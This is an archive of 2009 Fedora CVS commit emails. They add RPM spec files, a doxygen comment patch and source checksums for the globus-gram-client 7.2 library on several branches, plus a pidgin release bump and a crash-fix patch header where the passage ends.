BuildRequires:	globus-gram-protocol-devel%{?_isa} >= 6
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-rsl-devel%{?_isa} >= 3
BuildRequires:	globus-io-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4
BuildRequires:	globus-gram-protocol-doc >= 3
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - GRAM Client Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-gram-protocol-devel%{?_isa} >= 6
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-rsl-devel%{?_isa} >= 3
Requires:	globus-io-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - GRAM Client Library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GRAM Client Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GRAM Client Library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
GRAM Client Library Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.2-1
- Autogenerated


--- NEW FILE import.log ---
globus-gram-client-7_2-1_fc11:F-11:globus-gram-client-7.2-1.fc11.src.rpm:1255975774


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-client/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:25:41 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:10:05 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_gram_client-7.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-client/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:25:41 -0000	1.1
+++ sources	19 Oct 2009 18:10:05 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+d40c311a8f878124f95602d8ab074658  globus_gram_client-7.2.tar.gz



From wtogami at fedoraproject.org  Mon Oct 19 18:10:58 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Mon, 19 Oct 2009 18:10:58 +0000 (UTC)
Subject: rpms/pidgin/devel pidgin.spec,1.99,1.100
Message-ID: <20091019181058.94C4911C00DC@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/pidgin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30734

Modified Files:
	pidgin.spec 
Log Message:
bump



Index: pidgin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/devel/pidgin.spec,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- pidgin.spec	19 Oct 2009 18:09:11 -0000	1.99
+++ pidgin.spec	19 Oct 2009 18:10:58 -0000	1.100
@@ -82,7 +82,7 @@
 
 Name:		pidgin
 Version:	2.6.3
-Release:	1%{?dist}
+Release:	2%{?dist}
 License:        GPLv2+ and GPLv2 and MIT
 # GPLv2+ - libpurple, gnt, finch, pidgin, most prpls
 # GPLv2 - silc & novell prpls



From ellert at fedoraproject.org  Mon Oct 19 18:11:06 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:11:06 +0000 (UTC)
Subject: rpms/globus-gram-client/EL-5 globus-gram-client-doxygen.patch, NONE,
	1.1 globus-gram-client.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019181106.7389411C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gram-client/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30817/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gram-client-doxygen.patch globus-gram-client.spec 
	import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.2-1
- Autogenerated


globus-gram-client-doxygen.patch:
 globus_gram_client_attr.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE globus-gram-client-doxygen.patch ---
diff -ur globus_gram_client-7.2.orig/globus_gram_client_attr.c globus_gram_client-7.2/globus_gram_client_attr.c
--- globus_gram_client-7.2.orig/globus_gram_client_attr.c	2007-02-27 23:10:00.000000000 +0100
+++ globus_gram_client-7.2/globus_gram_client_attr.c	2009-08-06 07:16:34.370219417 +0200
@@ -191,7 +191,7 @@
  *
  * @param attr
  *     The attribute set to update.
- * @param credential
+ * @param mode
  *     The new value of the delegation mode.
  *
  * @retval GLOBUS_GRAM_PROTOCOL_ERROR_INVALID_ATTR
@@ -230,7 +230,7 @@
  *
  * @param attr
  *     The attribute set to query.
- * @param credential
+ * @param mode
  *     Pointer to a location to set to the value of the delegation mode.
  *
  * @retval GLOBUS_GRAM_PROTOCOL_ERROR_INVALID_ATTR


--- NEW FILE globus-gram-client.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gram-client
%global _name %(tr - _ <<< %{name})
Version:	7.2
Release:	1%{?dist}
Summary:	Globus Toolkit - GRAM Client Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gram/client/source globus_gram_client-7.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gram_client-7.2
#		tar -zcf globus_gram_client-7.2.tar.gz globus_gram_client-7.2
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Fix some doxygen warnings:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6828
Patch0:		%{name}-doxygen.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-gram-protocol-devel%{?_isa} >= 6
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-rsl-devel%{?_isa} >= 3
BuildRequires:	globus-io-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4
BuildRequires:	globus-gram-protocol-doc >= 3
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - GRAM Client Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-gram-protocol-devel%{?_isa} >= 6
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-rsl-devel%{?_isa} >= 3
Requires:	globus-io-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - GRAM Client Library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GRAM Client Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GRAM Client Library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
GRAM Client Library Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.2-1
- Autogenerated


--- NEW FILE import.log ---
globus-gram-client-7_2-1_fc11:EL-5:globus-gram-client-7.2-1.fc11.src.rpm:1255975848


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-client/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:25:41 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:11:06 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_gram_client-7.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-client/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:25:41 -0000	1.1
+++ sources	19 Oct 2009 18:11:06 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+d40c311a8f878124f95602d8ab074658  globus_gram_client-7.2.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 18:12:12 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:12:12 +0000 (UTC)
Subject: rpms/globus-gram-client/EL-4 globus-gram-client-doxygen.patch, NONE,
	1.1 globus-gram-client.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019181212.4E0AD11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gram-client/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31368/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gram-client-doxygen.patch globus-gram-client.spec 
	import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.2-1
- Autogenerated


globus-gram-client-doxygen.patch:
 globus_gram_client_attr.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE globus-gram-client-doxygen.patch ---
diff -ur globus_gram_client-7.2.orig/globus_gram_client_attr.c globus_gram_client-7.2/globus_gram_client_attr.c
--- globus_gram_client-7.2.orig/globus_gram_client_attr.c	2007-02-27 23:10:00.000000000 +0100
+++ globus_gram_client-7.2/globus_gram_client_attr.c	2009-08-06 07:16:34.370219417 +0200
@@ -191,7 +191,7 @@
  *
  * @param attr
  *     The attribute set to update.
- * @param credential
+ * @param mode
  *     The new value of the delegation mode.
  *
  * @retval GLOBUS_GRAM_PROTOCOL_ERROR_INVALID_ATTR
@@ -230,7 +230,7 @@
  *
  * @param attr
  *     The attribute set to query.
- * @param credential
+ * @param mode
  *     Pointer to a location to set to the value of the delegation mode.
  *
  * @retval GLOBUS_GRAM_PROTOCOL_ERROR_INVALID_ATTR


--- NEW FILE globus-gram-client.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gram-client
%global _name %(tr - _ <<< %{name})
Version:	7.2
Release:	1%{?dist}
Summary:	Globus Toolkit - GRAM Client Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gram/client/source globus_gram_client-7.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gram_client-7.2
#		tar -zcf globus_gram_client-7.2.tar.gz globus_gram_client-7.2
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Fix some doxygen warnings:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6828
Patch0:		%{name}-doxygen.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-gram-protocol-devel%{?_isa} >= 6
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-rsl-devel%{?_isa} >= 3
BuildRequires:	globus-io-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4
BuildRequires:	globus-gram-protocol-doc >= 3
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - GRAM Client Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-gram-protocol-devel%{?_isa} >= 6
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-rsl-devel%{?_isa} >= 3
Requires:	globus-io-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - GRAM Client Library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GRAM Client Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GRAM Client Library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
GRAM Client Library Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.2-1
- Autogenerated


--- NEW FILE import.log ---
globus-gram-client-7_2-1_fc11:EL-4:globus-gram-client-7.2-1.fc11.src.rpm:1255975905


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-client/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:25:41 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:12:12 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_gram_client-7.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-client/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:25:41 -0000	1.1
+++ sources	19 Oct 2009 18:12:12 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+d40c311a8f878124f95602d8ab074658  globus_gram_client-7.2.tar.gz



From wtogami at fedoraproject.org  Mon Oct 19 18:12:27 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Mon, 19 Oct 2009 18:12:27 +0000 (UTC)
Subject: rpms/pidgin/F-12 pidgin-2.6.3-msn_servconn_disconnect-crash.patch, 
	NONE, 1.1 pidgin.spec, 1.98, 1.99
Message-ID: <20091019181227.B80F311C00DC@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/pidgin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31536

Modified Files:
	pidgin.spec 
Added Files:
	pidgin-2.6.3-msn_servconn_disconnect-crash.patch 
Log Message:
- Upstream backport:
    3abad7606f4a2dfd1903df796f33924b12509a56 msn_servconn_disconnect-crash


pidgin-2.6.3-msn_servconn_disconnect-crash.patch:
 servconn.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE pidgin-2.6.3-msn_servconn_disconnect-crash.patch ---
(rediffed to apply against pidgin-2.6.3)
Revision: 3abad7606f4a2dfd1903df796f33924b12509a56
Ancestor: b4b3896d31eb6bef2433b251108f94dd5b04f06c
Author: sadrul at pidgin.im
Date: 2009-10-11T19:20:44
Branch: im.pidgin.pidgin

Modified files:
        libpurple/protocols/msn/servconn.c

ChangeLog:

Swap two lines to fix a crash.

msn_servconn_disconnect can destroy servconn, which makes it crash on the
next line. So reset the idle-handler before going into that function.

--- libpurple/protocols/msn/servconn.c.orig	2009-10-19 14:06:02.437920569 -0400
+++ libpurple/protocols/msn/servconn.c	2009-10-19 14:06:33.318661341 -0400
